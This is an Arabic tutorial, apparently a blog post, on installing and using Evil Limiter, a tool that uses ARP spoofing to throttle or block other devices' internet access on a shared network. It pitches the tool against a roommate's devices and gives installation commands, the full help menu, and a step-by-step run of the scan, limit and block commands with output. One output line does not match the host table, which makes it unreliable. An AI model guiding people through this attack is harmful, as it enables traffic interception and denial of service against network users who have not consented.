أداة Evil Limiter التحكم في سرعة الانترنت أو قطعها

أداة Evil Limiter التحكم في سرعة الانترنت أو قطعها

إذا وجدت نفسك مع رفيق لك في الغرفة يقوم بمشاركة الانترنت معك على نفس الشبكة, بنطاق ترددي محدود من البيانات, وهو يقوم بتحميل الالعاب ومشاهدة الفيديو, والباندويث الخاص بالانترنت الخاصة بك في انخفاض. 

فيمكنك استعمال أداة Evil Limiter بواسطته يمكن التحكم في سرعة الانترنت أو الترافيك لأي جهاز على نفس الشبكة، مما يتيح لك تحديد السرعة أو حتى إيقاف سرعات نقل البيانات عنهم تمامًا.

طبعا تحتوي بعض أجهزة التوجيه على واجهات ويب تتيح لك تعيين قيود على كل اتصال ، ولكن بدون كلمة مرور الموجه لا يكون هذا الخيار قابلاً للوصول.

يستخدم Evil Limiter التحايل على بروتوكول ARP اختصار لـ (Address Resolution Protocol)  لجعل الأجهزة ترسل البيانات إلى جهاز الكمبيوتر المهاجم بدلاً من جهاز التوجيه ، مما يسمح لنا بإرسال البيانات إلى جهاز التوجيه بأي سرعة نريدها.

فبفضل الطريقة التي يعمل بها بروتوكول ARP ، من الممكن التحكم في سرعة أي جهاز على اتصال شبكة مشترك. ومع ذلك ، نظرًا لأن التحايل spoofing على بروتوكول arp لا يعمل إلا على شبكات IPv4 ، فلن تكون هذه الأداة فعالة على IPv6 في الوقت الحالي.

طريقة تحميل وتثبيت أداة Evil Limiter

افتح الطرفية وادخل الاوامر الأتية:
~# git clone https://github.com/bitbrute/evillimiter.git
~# cd evillimiter
~# sudo python3 setup.py install

طريقة تشغيل الأداة  Evil Limiter

تحتاج أولا أن تكون متصلا بالشبكة المستهدفة. بعد ذلك ، يمكنك تشغيل Evil Limiter بكتابة الأمر :evilimiter في الطرفية

evilimiter
ستظهر لك الشاشة بهدا الشكل
~# evillimiter

███████╗██╗   ██╗██╗██╗       ██╗     ██╗███╗   ███╗██╗████████╗███████╗██████╗
██╔════╝██║   ██║██║██║       ██║     ██║████╗ ████║██║╚══██╔══╝██╔════╝██╔══██╗
█████╗  ██║   ██║██║██║       ██║     ██║██╔████╔██║██║   ██║   █████╗  ██████╔╝
██╔══╝  ╚██╗ ██╔╝██║██║       ██║     ██║██║╚██╔╝██║██║   ██║   ██╔══╝  ██╔══██╗
███████╗ ╚████╔╝ ██║███████╗  ███████╗██║██║ ╚═╝ ██║██║   ██║   ███████╗██║  ██║
╚══════╝  ╚═══╝  ╚═╝╚══════╝  ╚══════╝╚═╝╚═╝     ╚═╝╚═╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
                by bitbrute  ~  limit devices on your network :3
                                    v1.1.0

OK   interface: wlan0
OK   gateway ip: 192.168.1.5
OK   gateway mac: 3A:58:██:██:██:B5
OK   netmask: 255.255.255.0

type help or ? to show command information.

عرض الأوامر المتاحة

يمكنك استكشاف وظيفة Evil Limiter من خلال الاطلاع على نظام القائمة والتحقق من الأوامر المتاحة. للقيام بذلك ، اكتب علامة استفهام ? في لتظهر صفحة المساعدة.

كما ترى أسفله

(Main) >>> ?

scan                          scans for online hosts on your network.
                              required to find the hosts you want to limit.

hosts                         lists all scanned hosts.
                              contains host information, including IDs.

limit [ID1,ID2,...] [rate]    limits bandwith of host(s) (uload/dload).
                              e.g.: limit 4 100kbit
                                    limit 2,3,4 1gbit
                                    limit all 200kbit

block [ID1,ID2,...]           blocks internet access of host(s).
                              e.g.: block 3,2
                                    block all

free [ID1,ID2,...]            unlimits/unblocks host(s).
                              e.g.: free 3
                                    free all

add [IP] (--mac [MAC])        adds custom host to host list.
                              mac resolved automatically.
                              e.g.: add 192.168.178.24
                                    add 192.168.1.50 --mac 1c:fc:bc:2d:a6:37

clear                         clears the terminal window.

اكتشاف الأجهزة المتصلة معك

كما نرى أعلاه ، فإن الأوامر واضحة. للعثور على أجهزة على الشبكة ، كل ما عليك فعله هو كتابة scan .

scan
(Main) >>> scan

100% |██████████████████████████████| 256/256
OK   7 hosts discovered.

سوف يقوم المسح بسحب أي مضيفين آخرين على الشبكة. اكتب hosts لإظهارهم جميعًا.

hosts
(Main) >>> hosts

┌Hosts──────────────┬───────────────────┬──────────┬────────┐
│ ID │ IP-Address   │ MAC-Address       │ Hostname │ Status │
├────┼──────────────┼───────────────────┼──────────┼────────┤
│ 0  │ 192.168.1.1  │ 84:██:██:██:██:1a │ wikikali │ Free   │
│ 1  │ 192.168.1.2  │ 0c:██:██:██:██:f5 │          │ Free   │
│ 2  │ 192.168.1.4  │ 3c:██:██:██:██:6f │          │ Free   │
│ 3  │ 192.168.1.14 │ 60:██:██:██:██:78 │          │ Free   │
│ 4  │ 192.168.1.15 │ c4:██:██:██:██:2b │          │ Free   │
│ 5  │ 192.168.1.16 │ 8c:██:██:██:██:f5 │          │ Free   │
│ 6  │ 192.168.1.60 │ f0:██:██:██:██:b5 │          │ Free   │
└────┴──────────────┴───────────────────┴──────────┴────────┘

الحد من السرعة أو حظر الأجهزة

إذا كنت تريد الحد من كل جهاز ما عدا جهاز التوجيه ، فيمكنك سرده واحدًا تلو الآخر بعد أمر الحد limit. سيكون عليك أيضًا تحديد السرعة التي تريد تحديدها بها. في حالتي ، سأحدد سرعة 200 كيلو بت كحد السرعة.

limit 1,2,3,4,5,6 200kbit

يمكنك استخدام الأمر " حد الكل / limit all" لاختيار كل شيء ، ولكن لأنك تريد ترك جهاز التوجيه وحده ، اكتب الحد من الأوامر 1،2،3،4،5،6 بدلا من ذلك للبدء في الحد من تلك الأجهزة المحددة. يعتمد مقدار الأجهزة التي تدرجها على عدد الأجهزة التي عثرت عليها.

(Main) >>> limit 1,2,3,4,5,6 200kbit

OK   192.168.1.2 limited to 200kbit.
OK   192.168.1.4 limited to 200kbit.
OK   192.168.1.14 limited to 200kbit.
OK   192.168.1.15 limited to 200kbit.
OK   192.168.1.16 limited to 200kbit.
OK   192.168.1.60 limited to 200kbit.

الآن وقد حددنا بعض الأجهزة ، يمكننا أيضًا تحديد أي أجهزة نريد حظرها تمامًا من الوصول إلى الشبكة. لقد وجدت أنه في بعض الأحيان يمكن أن يكون Evil Limiter ثقيل  أثناء تقييد الاتصالات ، ونتيجة لدلك تجد أن الأجهزة محدودة السرعة لدرجة أنها قد تكون محظورة.

لحظر جهاز ، اكتب الأمر block ، ثم رقم أي جهاز تريد منعه من تلقي البيانات عبر الشبكة.

block 3
(Main) >>> block 3

OK   192.168.5.24 blocked.

هناك الكثير أترككم لتكتشفوه